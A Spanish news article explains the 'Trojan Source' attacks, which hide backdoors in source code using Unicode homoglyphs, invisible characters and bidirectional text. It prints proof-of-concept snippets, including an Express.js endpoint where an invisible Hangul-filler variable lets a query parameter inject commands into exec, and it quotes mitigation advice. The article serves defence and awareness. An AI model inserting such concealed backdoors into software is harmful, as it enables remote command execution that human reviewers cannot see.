Imagínate, por un momento, una puerta trasera insertada en un código de programación que se le pase por alto a cualquier revisor humano y que pocos IDEs ayuden a detectar: por muy exhaustivamente que lo comprueben, el código malicioso sigue perfectamente legítimo. Pues deja de imaginártelo…
…porque un grupo de investigadores ya han dejado claro que un ataque de este tipo existe: un 'paper' publicado hace unos días por la Universidad de Cambridge ha demostrado que es posible aplicarlo a algunos de los lenguajes de programación más populares hoy en día.
Este ataque, bautizado como 'Trojan Source' (código troyano) se aprovecha de dos características poco conocidas de los textos:
Los homoglifos: Caracteres exactamente iguales pese a que representan códigos unicode distintos. Por ejemplo, una cadena como "aBeHKopcTxy" puede hacer referencia a letras muy diferentes dependiendo de si estamos usando el alfabeto latino o el cirílico. Y esto incluye también ciertos caracteres invisibles, que se ven como simples espacios sin serlo.
El mecanismo bidireccional Unicode: una función que permite coexistir bloques de texto escritos en alfabetos que se escriben de derecha a izquierda con otros que lo hacen de izquierda a derecha.
Veamos un ejemplo
El investigador de seguridad Wolfgang Ettlinger, director de Certitude Consulting, presenta en su blog algunos fragmentos de código que sirven como prueba de concepto del citado tipo de ataque.
El primero sería algo tan simple como esto:
if(environmentǃ=ENV_PROD){
En teoría, le estamos diciendo a un programa que haga algo si el valor de 'environment' no coincide con el de ENV_PROD', con '!=" actuando como operador de desigualdad…
…pero en realidad ese '!' no es una exclamación, sino una consonante de algunos idiomas africanos que nosotros conocemos como clic alveolar, por lo que no forma parte del operador, sino del nombre de la variable.
Otro ejemplo de esto es el siguiente texto:
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ
];
try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200); res.send('ok');
} catch(e) {
res.status(500); res.send('failed');
}
});
app.listen(8080);
En teoría, ese script hace poco más que ejecutar dos comandos del sistema operativo ('ping' y 'curl') con una serie de parámetros referidos URLs. Hay también una variable, 'timeout', que limita el tiempo de ejecución del comando. Nada raro, todo —como decíamos antes— aparentemente legítimo.
Sin embargo, en dos líneas del texto anterior el espacio no es en realidad un espacio, sino un carácter denominado 'relleno Hangul', extraído del alfabeto coreano, que no separa palabras, sino que únicamente representa la ausencia de un glifo.
De tal manera, ese 'espacio' funciona en realidad como una palabra y, por tanto, puede actuar sin problemas como una variable en JavaScript. Así es como cabría leer dichas líneas:
const { timeout,\u3164} = req.query;
...
'curl -s http://example.com/',\u3164
Esto altera por completo la lógica de programación del script, al introducir variables adicionales que pueden usarse para colar parámetros que ejecutarían texto arbitrario si el script en cuestión estuviera disponible en un servidor web.
Viendo esto, los autores del paper proponen algunas soluciones para mitigar la el impacto de esta clase de ciberataques:
"Los compiladores, intérpretes y canalizaciones de compilación compatibles con Unicode deben generar errores o advertencias para caracteres de control bidireccionales.
[…] Los editores de código y los frontends de repositorios" deben hacer que los caracteres de control bidireccionales y los caracteres confusos de script mixto sean perceptibles con símbolos visuales o advertencias".
Ver 3 comentarios